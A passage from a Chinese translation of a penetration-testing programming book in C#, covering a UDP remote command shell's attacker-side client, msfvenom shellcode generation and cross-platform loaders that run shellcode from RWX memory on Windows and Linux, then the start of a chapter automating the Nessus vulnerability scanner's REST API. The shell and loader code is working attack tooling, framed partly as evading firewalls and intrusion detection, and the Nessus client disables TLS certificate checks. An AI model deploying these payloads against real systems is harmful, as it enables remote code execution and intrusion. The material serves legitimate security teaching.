一旦我们设置好了套接字并且知道将命令输出返回到哪里,Encoding.ASCII.GetBytes() 就会将输出转换为字节数组。我们使用 SendTo() ➎ 在套接字上广播数据,通过将包含命令输出的字节数组作为第一个参数,发送者的端点作为第二个参数,最终,我们再次返回到 while 循环的顶部读取下一个命令。
攻击者的代码
为了使此次攻击有效,攻击者必须能够监听并向正确的主机发送 UDP 广播。列表 4-13 显示了设置 UDP 监听器的第一段代码。
static void Main(string[] args)
{
int lport = int.➊Parse(args[1]);
using (UdpClient listener = new ➋UdpClient(lport))
{
IPEndPoint localEP = new ➌IPEndPoint(IPAddress.Any, lport);
string output;
byte[] bytes; 列表 4-13:为攻击者端代码设置 UDP 监听器和其他变量
假设该代码将接受作为参数的目标主机和监听端口,我们将监听端口传递给 Parse() ➊ 以将字符串转换为整数,然后将结果整数传递给 UdpClient 构造函数 ➋ 来实例化一个新的 UdpClient 类。接着,我们将监听端口传递给 IPEndPoint 类的构造函数,并传递 IPAddress.Any 值来实例化一个新的 IPEndPoint 类 ➌。一旦 IPEndPoint 设置好,我们声明变量 output 和 bytes 以备后用。
创建用于发送 UDP 广播的变量
列表 4-14 显示了如何创建用于发送 UDP 广播的变量。
using (Socket sock = new ➊Socket(AddressFamily.InterNetwork,
SocketType.Dgram,
ProtocolType.Udp))
{
IPAddress addr = ➋IPAddress.Parse(args[0]);
IPEndPoint addrEP = new ➌IPEndPoint(addr, lport); 列表 4-14:创建 UDP 套接字和端点以进行通信
首先,我们在 using 块的上下文中实例化一个新的 Socket 类 ➊。传递给 Socket 的枚举值告诉套接字,我们将使用 IPv4 地址、数据报和 UDP 通过广播进行通信。我们使用 IPAddress.Parse() ➋ 创建一个新的 IPAddress 实例,将传递给代码的第一个参数转换为 IPAddress 类。然后,我们将 IPAddress 对象和目标 UDP 监听器监听的端口传递给 IPEndPoint 构造函数,以实例化一个新的 IPEndPoint 类 ➌。
与目标通信
清单 4-15 显示了我们如何将数据发送到目标并从目标接收数据。
Console.WriteLine("Enter command to send, or a blank line to quit");
while (true)
{
string command = ➊Console.ReadLine();
byte[] buff = Encoding.ASCII.GetBytes(command);
try
{
sock.➋SendTo(buff, addrEP);
if (string.IsNullOrEmpty(command))
{
sock.Close();
listener.Close();
return;
}
if (string.IsNullOrWhiteSpace(command))
continue;
bytes = listener.➌Receive(ref localEP);
output = Encoding.ASCII.GetString(bytes, 0, bytes.Length);
Console.WriteLine(output);
}
catch (Exception ex)
{
Console.WriteLine("Exception{0}", ex.Message);
}
}
}
}
}
清单 4-15: 发送和接收数据到目标 UDP 监听器的主逻辑
在打印了一些友好的帮助文本,说明如何使用此脚本后,我们开始在一个 while 循环中向目标发送命令。首先,Console.ReadLine() ➊ 从标准输入中读取一行数据,这将成为发送到目标机器的命令。然后,Encoding.ASCII.GetBytes() 将该字符串转换为字节数组,以便我们可以通过网络发送它。
接下来,在一个 try/catch 块中,我们尝试使用 SendTo() ➋ 发送字节数组,传入字节数组和要发送数据的 IP 端点。在发送命令字符串后,如果从标准输入读取的字符串为空,我们将跳出 while 循环,因为我们在目标代码中构建了相同的逻辑。如果字符串不是空的,但只是空白,我们会返回到 while 循环的开头。然后,我们在 UDP 监听器上调用 Receive() ➌,以阻塞执行,直到从目标接收到命令输出,这时使用 Encoding.ASCII.GetString() 将接收到的字节转换为字符串,并写入攻击者的控制台。如果发生错误,我们将在屏幕上打印异常消息。
如清单 4-16 所示,在远程机器上启动有效载荷,传递 4444 作为唯一参数给有效载荷,并在攻击者的机器上启动接收器后,我们应该能够执行命令并从目标接收输出。
$ /tmp/attacker.exe 192.168.1.31 4444
输入命令以发送,或者输入空行退出
whoami
bperry
pwd
/tmp
uname
Linux 清单 4-16: 通过 UDP 与目标机器通信以执行任意命令
从 C# 运行 x86 和 x86-64 Metasploit Payloads
Metasploit Framework 漏洞利用工具集由 HD Moore 开始开发,现在由 Rapid7 维护,已成为安全专业人士的事实上的渗透测试和漏洞开发框架。由于它是用 Ruby 编写的,Metasploit 是跨平台的,可以在 Linux、Windows、OS X 和其他许多操作系统上运行。截止目前,已有超过 1,300 个用 Ruby 编程语言编写的免费 Metasploit 漏洞利用。
除了其包含的漏洞利用集合外,Metasploit 还包含许多旨在使漏洞开发快速且通常无痛的库。例如,正如你很快会看到的,你可以使用 Metasploit 来帮助创建一个跨平台的 .NET 程序集,以检测你的操作系统类型和架构,并针对其运行 shellcode。
设置 Metasploit
截至本文撰写时,Rapid7 在 GitHub 上开发 Metasploit (github.com/rapid7/metasploit-framework/)。在 Ubuntu 上,使用 git 克隆主 Metasploit 仓库到系统中,如清单 4-17 所示。
$ sudo apt-get install git
$ git clone https://github.com/rapid7/metasploit-framework.git 清单 4-17:安装 git 并克隆 Metasploit Framework
注意
我建议在本章开发下一个载荷时使用 Ubuntu。当然,也需要在 Windows 上进行测试,以确保你的操作系统检测和载荷在这两个平台上都能正常工作。
安装 Ruby
Metasploit Framework 需要 Ruby。如果在阅读了 Metasploit 安装说明后,发现你需要在 Linux 系统上安装不同版本的 Ruby,可以使用 Ruby 版本管理器(RVM,Ruby Version Manager)(rvm.io/) 来安装它,并与现有的 Ruby 版本一起使用。首先安装 RVM 维护者的 GNU 隐私保护(GPG)密钥,然后按照清单 4-18 中的方法在 Ubuntu 上安装 RVM。
$ curl -sSL https://rvm.io/mpapis.asc | gpg --import -
$ curl -sSL https://get.rvm.io | bash -s stable 清单 4-18:安装 RVM
安装 RVM 后,通过查看 Metasploit Framework 根目录下的 .ruby-version 文件,确定 Metasploit Framework 需要的 Ruby 版本,如清单 4-19 所示。
$ cd metasploit-framework/
$ cat .ruby-version
2.1.5
清单 4-19:打印 Metasploit Framework 根目录下的 .ruby-version 文件内容
现在运行 rvm 命令来编译并安装正确版本的 Ruby,如清单 4-20 所示。这可能需要几分钟,具体取决于你的互联网连接和 CPU 速度。
$ rvm install 2.x
清单 4-20:安装 Metasploit 所需的 Ruby 版本
一旦 Ruby 安装完成,按照清单 4-21 中的方法设置你的 bash 环境,以便能够看到它。
$ rvm use 2.x
清单 4-21:将安装的 Ruby 版本设置为默认版本
安装 Metasploit 依赖项
Metasploit 使用 bundler gem(一个 Ruby 包)来管理依赖项。切换到你机器上的当前 Metasploit Framework git 检出目录,并运行 Listing 4-22 中显示的命令,以安装构建 Metasploit Framework 所需的某些 gem 所需的开发库。
$ cd metasploit-framework/
$ sudo apt-get install libpq-dev libpcap-dev libxslt-dev
$ gem install bundler
$ bundle install Listing 4-22: 安装 Metasploit 依赖项
一旦所有依赖项安装完成,你应该能够启动 Metasploit Framework,如 Listing 4-23 所示。
$ ./msfconsole -q
msf > Listing 4-23: 成功启动 Metasploit
成功启动 msfconsole 后,我们可以开始使用框架中的其他工具来生成负载。
生成负载
我们将使用 Metasploit 工具 msfvenom 来生成原始汇编负载,在 Windows 上打开程序或在 Linux 上运行命令。例如,Listing 4-24 展示了如何向 msfvenom 发送命令,生成一个 x86-64(64 位)负载,用于 Windows,弹出当前显示桌面上的 calc.exe Windows 计算器。(要查看 msfvenom 工具的完整选项列表,请从命令行运行 msfvenom --help。) $ ./msfvenom -p windows/x64/exec -f csharp CMD=calc.exe
未选择平台,正在从负载中选择 Msf::Module::Platform::Windows
未选择架构,正在从负载中选择架构:x86_64
未指定编码器或坏字符,输出原始负载
byte[] buf = new byte[276] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
--snip--
0x63,0x2e,0x65,0x78,0x65,0x00 }; Listing 4-24: 运行 msfvenom 生成一个原始 Windows 负载,运行 calc.exe 在这里,我们传入 windows/x64/exec 作为负载,csharp 作为负载格式,负载选项 CMD=calc.exe。你也可以传入像 linux/x86/exec 并使用 CMD=whoami 来生成一个负载,该负载在 32 位 Linux 系统上启动时,运行 whoami 命令。
以非托管代码执行原生 Windows 负载
Metasploit 负载以 32 位或 64 位汇编代码生成——在 .NET 世界中称为非托管代码。当你将 C# 代码编译成 DLL 或可执行程序集时,该代码被称为托管代码。两者的区别在于,托管代码需要 .NET 或 Mono 虚拟机才能运行,而非托管代码可以直接由操作系统运行。
要在托管环境中执行非托管汇编代码,我们将使用 .NET 的 P/Invoke 来导入并运行 Microsoft Windows kernel32.dll 中的 VirtualAlloc() 函数。这使我们能够分配所需的可读、可写和可执行的内存,如 Listing 4-25 所示。
class MainClass
{
[➊DllImport("kernel32")]
static extern IntPtr ➋VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode);
[➌UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate void ➍WindowsRun(); 列表 4-25:导入 VirtualAlloc() 函数并定义一个 Windows 特定的委托
在 ➋ 处,我们从 kernel32.dll 导入 VirtualAlloc()。VirtualAlloc() 函数需要四个类型为 IntPtr 的参数,IntPtr 是一个 C# 类,它使得在托管代码和非托管代码之间传递数据变得更加简单。在 ➊ 处,我们使用 C# 属性 DllImport(属性类似于 Java 中的注解或 Python 中的装饰器)来告诉虚拟机在运行时从 kernel32.dll 库中查找此函数。(当我们执行 Linux 负载时,我们将使用 DllImport 属性从 libc 导入函数。)在 ➍ 处,我们声明了一个委托 WindowsRun(),它有一个 UnmanagedFunctionPointer 属性 ➌,该属性告诉 Mono/.NET 虚拟机将此委托作为非托管函数运行。通过将 CallingConvention.StdCall 传递给 UnmanagedFunctionPointer 属性,我们告诉 Mono/.NET 虚拟机使用 StdCall Windows 调用约定调用 VirtualAlloc()。
首先我们需要编写一个 Main() 方法,以根据目标系统架构执行负载,如 列表 4-26 所示。
public static void Main(string[] args)
{
OperatingSystem os = ➊Environment.OSVersion;
bool x86 = ➋(IntPtr.Size == 4);
byte[] payload;
if (os.Platform == ➌PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
{
if (!x86)
payload = new byte[] { [... 完整的 x86-64 负载在此 ...] };
else
payload = new byte[] { [... 完整的 x86 负载在此 ...] };
IntPtr ptr = ➍VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
➎Marshal.Copy(payload, 0, ptr, payload.Length);
WindowsRun r = (WindowsRun)➏Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
r();
}
}
列表 4-26:封装两个 Metasploit 负载的小型 C# 类
为了确定目标操作系统,我们捕获变量 Environment.OSVersion ➊,它有一个 Platform 属性,用于识别当前系统(如 if 语句中所使用)。为了确定目标架构,我们将 IntPtr 的大小与数字 4 ➋ 进行比较,因为在 32 位系统中,指针是 4 字节长,但在 64 位系统中,它是 8 字节长。我们知道,如果 IntPtr 大小是 4,我们就是 32 位系统;否则,我们假设系统是 64 位的。我们还声明了一个字节数组 payload 来保存我们生成的负载。
现在我们可以设置我们的本地程序集负载。如果当前操作系统匹配一个 Windows 平台 ID ➌(已知的平台和操作系统版本列表),我们会根据系统架构将一个字节数组分配给 payload 变量。
为了分配执行原始汇编代码所需的内存,我们将四个参数传递给 VirtualAlloc() ➍。第一个参数是 IntPtr.Zero,告诉 VirtualAlloc() 在第一个可用的位置分配内存。第二个参数是要分配的内存大小,它等于当前有效负载的长度。此参数被转换为非托管函数可以理解的 IntPtr 类,以便为我们的有效负载分配足够的内存。
第三个参数是 kernel32.dll 中定义的一个魔法值,映射到 MEM_COMMIT 选项,告诉 VirtualAlloc() 立即分配内存。这个参数定义了内存分配的模式。最后,0x40 是 kernel32.dll 中定义的一个魔法值,映射到我们需要的 RWX(读、写和执行)模式。VirtualAlloc() 函数将返回一个指向新分配内存的指针,以便我们知道分配的内存区域开始的位置。
现在,Marshal.Copy() ➎ 将我们的有效负载直接复制到分配的内存空间中。传递给 Marshal.Copy() 的第一个参数是我们想要复制到分配内存的字节数组。第二个参数是字节数组中开始复制的索引,第三个参数是开始复制到的位置(使用 VirtualAlloc() 函数返回的指针)。最后一个参数是我们想要从字节数组中复制到分配内存的字节数(全部)。
接下来,我们通过使用在 MainClass 顶部定义的 WindowsRun 委托,将汇编代码作为非托管函数指针进行引用。我们使用 Marshal.GetDelegateForFunctionPointer() 方法 ➏,通过将指向汇编代码开始位置的指针和委托类型分别作为第一个和第二个参数,创建一个新的委托。我们将此方法返回的委托转换为我们的 WindowsRun 委托类型,然后将其赋值给一个新的相同类型的 WindowsRun 变量。现在,只需要像调用函数一样调用此委托,执行我们复制到内存中的汇编代码。
执行本机 Linux 有效负载
在本节中,我们将介绍如何定义可以一次编译并在 Linux 和 Windows 上运行的有效负载。但首先,我们需要从 libc 导入一些函数,并定义我们的 Linux 非托管函数委托,如清单 4-27 所示。
[DllImport("libc")]
static extern IntPtr mprotect(IntPtr ptr, IntPtr length, IntPtr protection);
[DllImport("libc")]
static extern IntPtr posix_memalign(ref IntPtr ptr, IntPtr alignment, IntPtr size);
[DllImport("libc")]
static extern void free(IntPtr ptr);
[UnmanagedFunctionPointer(➊CallingConvention.Cdecl)]
delegate void ➋LinuxRun(); 清单 4-27:设置有效负载以运行生成的 Metasploit 有效负载
我们在靠近 Windows 函数导入的 MainClass 顶部添加了清单 4-27 中显示的行。我们从 libc 导入了三个函数——mprotect()、posix_memalign() 和 free()——并定义了一个新的委托叫做 LinuxRun ➋。它具有 UnmanagedFunctionPointer 属性,就像我们的 WindowsRun 委托一样。然而,和清单 4-25 中使用 CallingConvention.StdCall 不同,我们传递 CallingConvention.Cdecl ➊,因为 cdecl 是类 Unix 系统中的本地函数调用约定。
在清单 4-28 中,我们现在向 Main() 方法添加了一个 else if 语句,紧接着测试是否在 Windows 机器上的 if 语句(参见清单 4-26 中的 ➌)。
else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128)
{
if (!x86)
payload = new byte[] { [... X86-64 LINUX PAYLOAD GOES HERE ...] };
else
payload = new byte[] { [... X86 LINUX PAYLOAD GOES HERE ...] }; 清单 4-28: 检测平台并分配相应的负载
来自微软的原始 PlatformID 枚举没有包括非 Windows 平台的值。随着 Mono 的发展,已经引入了类 Unix 系统的非官方 Platform 属性值,因此我们直接将 Platform 的值与魔术整数值进行比较,而不是使用明确定义的枚举值。值 4、6 和 128 可用于确定我们是否在类 Unix 系统上运行。将 Platform 属性转换为 int 使我们能够将 Platform 值与整数值 4、16 和 128 进行比较。
一旦我们确定在类 Unix 系统上运行,我们就可以设置执行本地汇编负载所需的值。根据当前的架构,负载字节数组将被分配为我们的 x86 或 x86-64 负载。
分配内存
现在,我们开始分配内存以将汇编代码插入内存,如清单 4-29 所示。
IntPtr ptr = IntPtr.Zero;
IntPtr success = IntPtr.Zero;
bool freeMe = false;
try
{
int pagesize = 4096;
IntPtr length = (IntPtr)payload.Length;
success = ➊posix_memalign(ref ptr, (IntPtr)32, length);
if (success != IntPtr.Zero)
{
Console.WriteLine("Bail! memalign failed: " + success);
return;
}
清单 4-29: 使用 posix_memalign() 分配内存
首先,我们定义几个变量:ptr,它应该在分配成功后由 posix_memalign()分配到我们的内存开始位置;success,它将被分配为 posix_memalign()返回的值(如果分配成功);以及布尔值 freeMe,当分配成功时为 true,这样我们就知道何时需要释放已分配的内存。(如果分配失败,我们将 freeMe 赋值为 false。)接下来,我们开始一个 try 块以开始分配,以便我们能捕获任何异常,并在发生错误时优雅地退出有效载荷。我们将一个名为 pagesize 的新变量设置为 4096,这是大多数 Linux 安装的默认内存页面大小。
在分配了一个名为 length 的新变量,它包含了我们的有效载荷长度(转换为 IntPtr 类型)后,我们通过引用传递 ptr 变量来调用 posix_memalign() ➊,以便 posix_memalign()可以直接修改值,而无需将其传回。我们还传递了内存对齐(始终是 2 的倍数,32 是一个不错的值)和我们要分配的内存量。如果分配成功,posix_memalign()函数将返回 IntPtr.Zero,所以我们需要进行检查。如果没有返回 IntPtr.Zero,我们会打印一条关于 posix_memalign()失败的消息,然后返回并退出有效载荷。如果分配成功,我们将已分配内存的模式更改为可读、可写和可执行,详见 Listing 4-30。
freeMe = true;
IntPtr alignedPtr = ➊(IntPtr)((int)ptr & ~(pagesize - 1)); //获取页面边界
IntPtr ➋mode = (IntPtr)(0x04 | 0x02 | 0x01); //RWX -- 注意 selinux
success = ➌mprotect(alignedPtr, (IntPtr)32, mode);
if (success != IntPtr.Zero)
{
Console.WriteLine("失败!mprotect 失败");
return;
}
Listing 4-30: 更改已分配内存的模式
注意
在 Linux 上实现 shellcode 执行的技术在限制分配 RWX 内存的操作系统上不起作用。例如,如果你的 Linux 发行版启用了 SELinux,这些示例可能无法在你的机器上运行。基于这个原因,我推荐使用 Ubuntu——因为 SELinux 不存在,示例应该能顺利运行。
为了确保稍后能够释放分配的内存,我们将 freeMe 设置为 true。接下来,我们使用 posix_memalign()在分配过程中设置的指针(ptr 变量),并通过对指针与页面大小的补码进行按位与操作,创建一个页面对齐的指针。这样,补码实际上将我们的指针地址转换为负数,从而使我们在设置内存权限时的数学计算正确。
由于 Linux 以页面为单位分配内存,我们必须更改我们有效载荷内存分配所在的整个内存页的模式。与当前页面大小的补码按位与运算将 posix_memalign()给出的内存地址向下舍入到指针所在的内存页面的起始位置。这使我们能够为 posix_memalign()分配的内存使用的整个内存页设置模式。
我们还通过对值 0x04(读取)、0x02(写入)和 0x01(执行)执行按位或运算来创建设置内存的模式,并将按位或运算的结果存储在 mode 变量中 ➋。最后,我们通过传递内存页面的对齐指针、内存对齐方式(传递给 posix_memalign()函数)以及设置内存的模式来调用 mprotect() ➌。与 posix_memalign()函数类似,如果 mprotect()成功更改了内存页面的模式,则返回 IntPtr.Zero。如果没有返回 IntPtr.Zero,我们将打印错误信息并返回以退出有效载荷。
复制并执行有效载荷
现在,我们已经准备好将有效载荷复制到内存空间并执行代码,如清单 4-31 所示。
➊Marshal.Copy(payload, 0, ptr, payload.Length);
LinuxRun r = (LinuxRun)➋Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun));
r();
}
最终
{
if (freeMe)
➌free(ptr);
}
}
清单 4-31:将有效载荷复制到分配的内存并执行有效载荷
清单 4-31 的最后几行代码应该类似于我们编写的执行 Windows 有效载荷的代码(清单 4-26)。Marshal.Copy()方法 ➊ 将我们的有效载荷复制到分配的内存缓冲区中,而 Marshal.GetDelegateForFunctionPointer()方法 ➋ 将内存中的有效载荷转换为我们可以从托管代码中调用的委托。一旦我们有了指向内存中代码的委托,我们就可以调用它以执行代码。紧跟着 try 块的 finally 块会释放由 posix_memalign()分配的内存,前提是 freeMe 设置为 true ➌。
最后,我们将生成的 Windows 和 Linux 有效载荷添加到跨平台有效载荷中,这使我们能够在 Windows 或 Linux 上编译并运行相同的有效载荷。
结论
在本章中,我们讨论了几种不同的方法来创建在各种情况下有用的自定义有效载荷。
使用 TCP 的有效载荷在攻击网络时可以带来好处,从从内部网络获取 Shell 到维持持久性。通过使用回连技术,你可以在远程主机上获得 Shell,从而有助于例如网络钓鱼活动,在这种活动中,渗透测试完全是外部的。另一方面,绑定技术可以帮助你在不必再次利用机器上的漏洞的情况下,在主机上维持持久性,前提是可以访问内部网络。
通过 UDP 通信的有效载荷通常能够绕过配置不当的防火墙,并且可能能够避开专注于 TCP 流量的入侵检测系统。尽管比 TCP 不那么可靠,UDP 提供的速度和隐蔽性是 TCP 无法提供的,尤其是在严格审查的情况下。通过使用一个监听传入广播的 UDP 有效载荷,尝试执行发送的命令,然后将结果广播回你,你的攻击可能会变得更加安静,也许会更加隐蔽,尽管在稳定性上有所牺牲。
Metasploit 允许攻击者快速创建多种类型的有效载荷,并且安装和运行都非常简单。Metasploit 包含 msfvenom 工具,能够创建并编码用于漏洞利用的有效载荷。使用 msfvenom 工具生成本地汇编有效载荷后,你可以构建一个小型的跨平台可执行文件,用于检测并运行各种操作系统的 shellcode。这为你在目标主机上运行有效载荷提供了极大的灵活性。它还利用了 Metasploit 中最强大、最有用的功能之一。
第五章
5
自动化 Nessus

Nessus 是一个流行且强大的漏洞扫描器,它使用已知漏洞的数据库来评估网络中给定系统是否缺少任何补丁,或者是否易受已知漏洞的攻击。在本章中,我将向你展示如何编写类与 Nessus API 交互,以自动化、配置和执行漏洞扫描。
Nessus 最初作为一个开源漏洞扫描器开发,但在 2005 年被 Tenable Network Security 收购后变为闭源。截至本文写作时,Tenable 提供了一个为期七天的 Nessus Professional 试用版,并且还有一个叫 Nessus Home 的有限版。两者之间最大的区别是,Nessus Home 一次最多只能扫描 16 个 IP 地址,但 Home 版本足以让你运行本章中的示例并熟悉该程序。Nessus 在帮助扫描和管理其他公司网络的专业人士中尤其受欢迎。请按照 Tenable 网站上的说明www.tenable.com/products/nessus-home/安装和配置 Nessus Home。
许多组织要求定期进行漏洞和补丁扫描,以便管理和识别其网络上的风险,并满足合规性要求。我们将使用 Nessus 来实现这些目标,通过构建类来帮助我们对网络上的主机执行无认证的漏洞扫描。
REST 与 Nessus API
Web 应用程序和 API 的出现催生了一种叫做 REST API 的架构。REST(表述性状态转移)是一种通过 HTTP 等协议访问和交互资源(如用户账户或漏洞扫描)的方法,通常使用多种 HTTP 方法(GET、POST、DELETE 和 PUT)。HTTP 方法描述了我们发起 HTTP 请求时的意图(例如,我们是想创建资源还是修改资源?),有点像数据库中的 CRUD(创建、读取、更新、删除)操作。
例如,看看以下简单的 GET HTTP 请求,它类似于数据库的读取操作(如 SELECT * FROM users WHERE id = 1):GET /users/➊1 HTTP/1.0
主机:192.168.0.11
在这个例子中,我们请求 ID 为 1 的用户信息。如果要获取其他用户 ID 的信息,可以将 URI 末尾的 1 ➊替换为该用户的 ID。
要更新第一个用户的信息,HTTP 请求可能如下所示:POST /users/1 HTTP/1.0
主机:192.168.0.11
内容类型:application/json
内容长度:24
{"name": "Brandon Perry"}
在我们假设的 RESTful API 中,上面的 POST 请求会将第一个用户的名称更新为 Brandon Perry。通常,POST 请求用于更新 Web 服务器上的资源。
要完全删除账户,可以使用 DELETE,例如:DELETE /users/1 HTTP/1.0
主机:192.168.0.11
Nessus API 的行为也类似。在使用 API 时,我们将向服务器发送 JSON 并从服务器接收 JSON,如这些示例所示。本章中我们将编写的类旨在处理与 REST API 交互的方式。
一旦你安装了 Nessus,你可以在 https://<IP 地址>:8834/api 找到 Nessus REST API 文档。我们将仅讨论一些用于驱动 Nessus 进行漏洞扫描的核心 API 调用。
NessusSession 类
为了自动化发送命令并接收来自 Nessus 的响应,我们将使用 NessusSession 类创建会话并执行 API 命令,如清单 5-1 所示。
public class NessusSession : ➊IDisposable
{
public ➋NessusSession(string host, string username, string password)
{
ServicePointManager.ServerCertificateValidationCallback =
(Object obj, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) => true;
this.Host = ➌host;
if (➍!Authenticate(username, password))
throw new Exception("身份验证失败");
}
public bool ➎Authenticate(string username, string password)
{
JObject obj = ➏new JObject();
obj["username"] = username;
obj["password"] = password;
JObject ret = ➐MakeRequest(WebRequestMethods.Http.Post, "/session", obj);
if (ret ["token"] == null)
return false;
this.➑Token = ret["token"].Value
(); this.Authenticated = true;
return true;
}
清单 5-1:NessusSession 类的开头,显示了构造函数和 Authenticate()方法
如清单 5-1 所示,这个类实现了 IDisposable 接口➊,以便我们可以在 using 语句中使用 NessusSession 类。正如你在前面的章节中可能记得的,IDisposable 接口允许我们通过调用 Dispose()方法在垃圾回收时自动清理与 Nessus 的会话,我们将在稍后实现该方法。
在➌处,我们将 Host 属性赋值为传递给 NessusSession 构造函数➋的 host 参数的值,然后我们尝试进行身份验证➍,因为后续的所有 API 调用都需要已认证的会话。如果身份验证失败,我们将抛出异常并打印警告“身份验证失败”。如果身份验证成功,我们将存储 API 密钥以备后用。
在 Authenticate()方法➎中,我们创建了一个 JObject➏来保存作为参数传入的凭证。我们将使用这些凭证尝试进行身份验证,然后调用 MakeRequest()方法➐(接下来讨论)并传递 HTTP 方法、目标主机的 URI 和 JObject。如果身份验证成功,MakeRequest()应该返回一个包含身份验证令牌的 JObject;如果身份验证失败,则返回一个空的 JObject。
当我们收到认证令牌时,我们将其值赋给 Token 属性 ➑,将 Authenticated 属性设置为 true,并返回 true 给调用方法,告诉程序员认证成功。如果认证失败,我们返回 false。
发起 HTTP 请求
MakeRequest() 方法执行实际的 HTTP 请求,并返回响应,如 列表 5-2 所示。
public JObject MakeRequest(string method, string uri, ➊JObject data = null, string token = null)
{
string url = ➋"https://" + this.Host + ":8834" + uri;
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.➌Method = method;
如果 (!string.IsNullOrEmpty(token))
request.Headers ["X-Cookie"] = ➍"token=" + token;
request.➎ContentType = "application/json";
如果 (data != null)
{
byte[] bytes = System.Text.Encoding.ASCII.➏GetBytes(data.ToString());
request.ContentLength = bytes.Length;
使用 (Stream requestStream = request.GetRequestStream())
requestStream.➐Write(bytes, 0, bytes.Length);
}
否则
request.ContentLength = 0;
string response = string.Empty;
尝试 ➑
{
使用 (StreamReader reader = new ➒StreamReader(request.GetResponse().GetResponseStream()))
response = reader.ReadToEnd();
}
捕获
{
返回新的 JObject();
}
如果 (string.IsNullOrEmpty(response))
返回新的 JObject();
返回 JObject.➓Parse(response);
}
列表 5-2:来自 NessusSession 类的 MakeRequest() 方法
MakeRequest() 方法有两个必需的参数(HTTP 和 URI)和两个可选参数(JObject 和认证令牌)。每个参数的默认值为 null。
为了创建 MakeRequest() 方法,我们首先通过将主机和 URI 参数结合起来并将结果作为第二个参数传递来创建 API 调用的基本 URL ➋;然后我们使用 HttpWebRequest 构建 HTTP 请求,并将 HttpWebRequest 的 Method 属性 ➌ 设置为传递给 MakeRequest() 方法的 method 变量的值。接下来,我们测试用户是否在 JObject 中提供了认证令牌。如果提供了,我们将 HTTP 请求头 X-Cookie 设置为 token 参数的值 ➍,这是 Nessus 在认证时会查找的内容。我们将 HTTP 请求的 ContentType 属性 ➎ 设置为 application/json,以确保 API 服务器知道如何处理我们在请求体中发送的数据(否则,它将拒绝接受请求)。
如果一个 JObject 被传递给 MakeRequest() 作为第三个参数 ➊,我们会使用 GetBytes() ➏ 将其转换为字节数组,因为 Write() 方法只能写入字节。我们将 ContentLength 属性设置为数组的大小,然后使用 Write() ➐ 将 JSON 写入请求流。如果传递给 MakeRequest() 的 JObject 为 null,我们仅将 ContentLength 设置为 0,然后继续,因为我们不会在请求体中放入任何数据。
在声明了一个空字符串来保存服务器的响应后,我们在 ➑ 处开始一个 try/catch 块来接收响应。在 using 语句中,我们创建一个 StreamReader ➒ 来读取 HTTP 响应,通过将服务器的 HTTP 响应流传递给 StreamReader 构造函数;然后我们调用 ReadToEnd() 来读取完整的响应体到我们的空字符串中。如果读取响应时发生异常,我们可以预期响应体为空,因此我们捕获异常并返回一个空的 JObject 到 ReadToEnd()。否则,我们将响应传递给 Parse() ➓ 并返回结果 JObject。
注销并清理
为了完成 NessusSession 类,我们将创建 LogOut() 方法以注销服务器,并创建 Dispose() 方法来实现 IDisposable 接口,如 Listing 5-3 所示。
public void ➊LogOut()
{
if (this.Authenticated)
{
MakeRequest("DELETE", "/session", null, this.Token);
this.Authenticated = false;
}
}
public void ➋Dispose()
{
if (this.Authenticated)
this.LogOut();
}
public string Host { get; set; }
public bool Authenticated { get; private set; }
public string Token { get; private set; }
}
Listing 5-3:NessusSession 类的最后两个方法,以及 Host、Authenticated 和 Token 属性
LogOut() 方法 ➊ 会检查我们是否已通过 Nessus 服务器认证。如果已认证,我们调用 MakeRequest(),并将 DELETE 作为 HTTP 方法;/session 作为 URI;以及认证令牌,这会向 Nessus 服务器发送 DELETE HTTP 请求,从而有效地注销我们。一旦请求完成,我们将 Authenticated 属性设置为 false。为了实现 IDisposable 接口,我们创建 Dispose() ➋ 方法,如果已认证,则注销我们。
测试 NessusSession 类
我们可以通过一个小的 Main() 方法轻松测试 NessusSession 类,如 Listing 5-4 中所示。
public static void ➊Main(string[] args)
{
➋using (NessusSession session = new ➌NessusSession("192.168.1.14", "admin", "password"))
{
Console.➍WriteLine("您的认证令牌是:" + session.Token);
}
}
Listing 5-4:测试 NessusSession 类以便与 NessusManager 进行认证
在 Main() 方法 ➊ 中,我们创建一个新的 NessusSession ➌ 并传递 Nessus 主机的 IP 地址、用户名和 Nessus 密码作为参数。通过认证的会话,我们打印出 Nessus 成功认证时给我们的认证令牌 ➍,然后退出。
注意
NessusSession 是在使用语句 ➋的上下文中创建的,因此我们在 NessusSession 类中实现的 Dispose() 方法将在 using 块结束时自动调用。这会注销 NessusSession,失效我们从 Nessus 获取的认证令牌。
运行此代码应该会打印出一个类似于 Listing 5-5 中的认证令牌。
$ mono ./ch5_automating_nessus.exe
您的认证令牌是:19daad2f2fca99b2a2d48febb2424966a99727c19252966a
$
Listing 5-5: 运行 NessusSession 测试代码以打印认证令牌
NessusManager 类
Listing 5-6 展示了我们需要在 NessusManager 类中实现的方法,这些方法将为 Nessus 的常见 API 调用和功能提供易于使用的方法,我们稍后可以调用它们。
public class NessusManager : ➊IDisposable
{
NessusSession _session;
public NessusManager(NessusSession session)
{
_session = ➋session;
}
public JObject GetScanPolicies()
{
return _session.➌MakeRequest("GET", "/editor/policy/templates", null, _session.Token);
}
public JObject CreateScan(string policyID, string cidr, string name, string description)
{
JObject data = ➍new JObject();
data["uuid"] = policyID;
data["settings"] = new JObject();
data["settings"]["name"] = name;
data["settings"]["text_targets"] = cidr;
data["settings"]["description"] = description;
return _session.➎MakeRequest("POST", "/scans", data, _session.Token);
}
public JObject StartScan(int scanID)
{
return _session.MakeRequest("POST", "/scans/" + scanID + "/launch", null, _session.Token);
}
public JObject ➏GetScan(int scanID)
{
return _session.MakeRequest("GET", "/scans/" + scanID, null, _session.Token);
}
public void Dispose()
{
if (_session.Authenticated)
_session.➐LogOut();
_session = null;
}
}
Listing 5-6: NessusManager 类
